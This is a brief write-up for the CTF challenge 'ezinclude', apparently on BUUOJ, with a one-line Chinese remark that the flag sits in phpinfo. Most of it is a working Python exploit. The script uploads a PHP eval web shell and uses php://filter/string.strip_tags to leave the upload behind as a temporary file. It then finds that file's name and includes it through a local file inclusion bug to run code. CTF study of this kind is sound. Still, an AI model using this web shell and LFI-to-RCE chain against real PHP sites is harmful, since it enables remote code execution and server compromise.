ezinclude

flag在phpinfo，蛋疼

import requests
from io import BytesIO
import re

files = {
    'file': BytesIO('<?php eval($_REQUEST[Qftm]);'.encode())
}
url1 = 'http://d16f3fa6-c8ba-454d-8e47-4e834b2e47e4.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=index.php'
r = requests.post(url=url1, files=files, allow_redirects=False)

url2 = 'http://d16f3fa6-c8ba-454d-8e47-4e834b2e47e4.node4.buuoj.cn:81/dir.php'
r = requests.get(url2)
data = re.search(r"php[a-zA-Z0-9]+", r.content.decode('utf-8')).group(0)
data = "phpsQM9Oq"

print(data)

url3 = 'http://d16f3fa6-c8ba-454d-8e47-4e834b2e47e4.node4.buuoj.cn:81/flflflflag.php?file=/tmp/' + data
data = {
    'Qftm': "phpinfo();"
}
r = requests.post(url=url3, data=data)
print(r.content)